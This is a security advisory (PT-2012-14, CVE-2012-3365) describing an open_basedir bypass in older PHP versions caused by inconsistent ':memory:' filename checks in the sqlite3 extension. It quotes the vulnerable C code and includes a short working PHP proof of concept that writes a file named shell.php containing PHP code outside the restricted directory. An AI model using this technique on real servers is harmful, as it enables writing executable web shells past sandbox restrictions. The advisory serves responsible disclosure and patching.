PT-2012-14: Security Restrictions Bypass in PHP
Vulnerable software
PHP
Version: 5.4.4 and earlier; 5.3.14 and earlier
Application link:
http://php.net/
Severity level
Severity level: Medium
Impact: Security Restrictions Bypass
Access Vector: Remote
CVSS v2:
Base Score: 5.0
Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE: CVE-2012-3365
Software description
PHP (Hypertext Preprocessor) is a general-purpose script programming language that is widely used to develop web applications.
Vulnerability description
Positive Research Center detected "Security Restrictions Bypass" vulnerability in PHP application.
PHP 5.4.4/5.3.14 and earlier allows attackers to bypass open_basedir directive. The reason is that the system checks database title in PHP extention sqlite/sqlite3 and libsqlite in different ways. An attacker can create a file in sqlite database format outside open_basedir.
Vulnerability exists in /ext/sqlite3/sqlite3.c file. Here is the vulnerable code:
PHP_METHOD(sqlite3, open)
{
...
if (strncmp(filename, ":memory:", 8) != 0) {
...
if (php_check_open_basedir(fullpath TSRMLS_CC)) {
...
}
} else {
fullpath = estrdup(filename);
}
Vulnerability exists in /ext/sqlite3/libsqlite/sqlite3.c file. Here is the vulnerable code:
const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));
Exploitation example:
The following PHP code allows attackers to create SQLite database outside open_basedir.
<?php
mkdir(':memory:');
$database = new SQLite3(":memory:/../../shell.php");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
$database->close();
rmdir(':memory:');
?>
How to fix
Update your software up to the latest version.
Advisory status
22.06.2012 - Vendor is notified
22.06.2012 - Vendor gets vulnerability details
19.07.2012 - Vendor releases fixed version and details
04.02.2013 - Public disclosure
Credits
The vulnerability has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)
References
http://en.securitylab.ru/lab/PT-2012-14
Reports on the vulnerabilities previously discovered by Positive Research:
http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/